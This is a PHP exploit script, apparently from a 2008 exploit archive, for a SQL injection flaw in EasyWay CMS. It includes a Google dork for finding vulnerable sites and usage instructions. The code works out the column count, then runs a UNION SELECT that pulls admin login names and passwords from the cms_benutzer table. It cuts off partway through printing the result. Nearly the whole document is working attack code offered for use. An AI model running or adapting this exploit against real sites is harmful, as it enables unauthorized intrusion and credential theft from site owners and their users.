1 <?php
2 ini_set("max_execution_time",0);
3 print_r(’
4
###############################################################
5
#
6
# EasyWay CMS − SQL Injection Exploit
7
#
8
# Vulnerability discovered by: Lidloses_Auge
9
# Exploit coded by: Lidloses_Auge
10
# Greetz to: −=Player=− , Suicide, g4ms3, enco,
11
# GPM, Free−Hack
12
# Date: 30.05.2008
13
# Developer:
http://www.ta−edv.de/index.php?lg=de&css=1&mid=320&art=1
14
#
15
###############################################################
16
#
17
# Dork: inurl:"index.php?css=mid=art="
18
# Admin Panel: [Target]/cms/
19
# Usage: php ’.$argv[0].’ [Target] [Userid]
20
# Example for "http://www.site.com/index.php?css=1&mid=100&art=1"
21
# => php ’.$argv[0].’ http://www.site.com 1
22
#
23
###############################################################
24 ’);
25 if ($argc == 3) {
26 echo "\nExploiting in progress:";
27 $url = $argv[1];
28 $source = file_get_contents($url.’/index.php?mid=null+order+by+100/*’);
29 $errorcount = substr_count($source,’not a valid MySQL’);
30 $sql = ’/index.php?mid=null+union+select+’;
31 for ($i = 25; $i>=1; $i−−) {
32 $source = file_get_contents($url.’/index.php?mid=null+order+by+’.$i.’/*’);
33 if (substr_count($source,’not a valid MySQL’)!=$errorcount) {
34 $errorcount2 = $i;
35 $i = 1;
36 }
37 }
38 for ($j=1; $j<$errorcount2; $j++) {
39 $sql = $sql.’concat(0x3a3a3a3a3a,login,0x3a3a313a3a,passwort,0x3a3a323a3a),’;
40 }
41 $sql = $sql.’concat(0x3a3a3a3a3a,login,0x3a3a313a3a,passwort,0x3a3a323a3a)+from+cms_benutzer+where+id=’.$argv[2].’/*’;
42 $source = file_get_contents($url.$sql);
43 echo "\n";
44 if (strpos($source,’::::’)!=0) {
45 echo ’User: ’.substr($source,strpo